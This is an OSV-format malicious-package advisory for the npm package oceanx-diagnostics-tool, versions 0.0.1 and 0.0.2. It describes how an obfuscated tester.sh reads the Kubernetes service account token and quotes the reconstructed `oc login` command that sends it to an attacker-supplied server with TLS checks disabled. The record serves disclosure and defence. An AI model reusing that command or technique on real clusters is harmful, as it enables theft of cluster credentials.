{"id":"MAL-2026-21083","summary":"Malicious code in oceanx-diagnostics-tool (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (645296b4d471f282eba9d99439ff378841ed403a0845235f9fb93cdb9537a10f)\nThe package presents itself as an HTTP/DNS diagnostics tool but ships tester.sh, a shell script that uses single-character variable fragments concatenated and passed to `eval` to hide its payload. The reconstructed commands read the in-cluster Kubernetes service account token from /var/run/secrets/kubernetes.io/serviceaccount/token and run `./oc login --token=$DEBUG_FILE --server=$SERV --insecure-skip-tls-verify`, authenticating to a caller/attacker-supplied OpenShift server with TLS verification disabled. The string-fragment obfuscation is specifically shaped to defeat grep/static review and is inconsistent with the package's stated benign purpose. The script is not wired to an npm lifecycle hook and the declared `main: index.js` is absent from the tarball, so the payload does not auto-execute on `npm install` or `require()`; it runs only when the shipped tester.sh is explicitly invoked (for example via the `scripts.send` entry or manual execution inside a pod). The package's shipped content is nonetheless a ready-to-run credential-theft tool targeting Kubernetes workloads that install it.\n","modified":"2026-12-03T20:45:08.811139965Z","published":"2026-12-03T20:38:05Z","database_specific":{"malicious-packages-origins":[{"sha256":"06e3c99eae8f56e1f565ba75118abc8f5d5303e063fca9c3a15dd2d7fa1493ff","source":"amazon-inspector","versions":["0.0.1"],"id":"IN-MAL-2026-023223","import_time":"2026-12-03T20:41:50.330811511Z","modified_time":"2026-12-03T20:38:05Z"},{"import_time":"2026-12-03T20:41:50.413658159Z","modified_time":"2026-12-03T20:38:13Z","sha256":"645296b4d471f282eba9d99439ff378841ed403a0845235f9fb93cdb9537a10f","source":"amazon-inspector","versions":["0.0.2"],"id":"IN-MAL-2026-023224"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/oceanx-diagnostics-tool/v/0.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/oceanx-diagnostics-tool/v/0.0.2"}],"affected":[{"package":{"name":"oceanx-diagnostics-tool","ecosystem":"npm","purl":"pkg:npm/oceanx-diagnostics-tool"},"versions":["0.0.1","0.0.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"package_integrity":[{"filename":"oceanx-diagnostics-tool-0.0.1.tgz","hashes":{"sha512_sri":"sha512-I6fnqw45HH1KiGg6md1cunDp7dOH7Q1+KXLYkwHqw6g33c/m3CZ1aoA9RniCz733qHEsUBgoci2gRSlR/hkjjQ==","sha1":"eaa5ff7701695b529451fc703d823c8b90d384bc"}}],"evidence_files":[{"path":"tester.sh","sha256":"15ce6f5745e177cc3b5a4bbd47a51b0e25ba132b8df92b1a9bcffb74a1b2521b","tlsh":"ef510d72305aa076118e863afbd075c5b720794b093e6c6cb8a6d1a92f363ed3179249"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/oceanx-diagnostics-tool/MAL-2026-21083.json"}}],"schema_version":"1.9.2","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}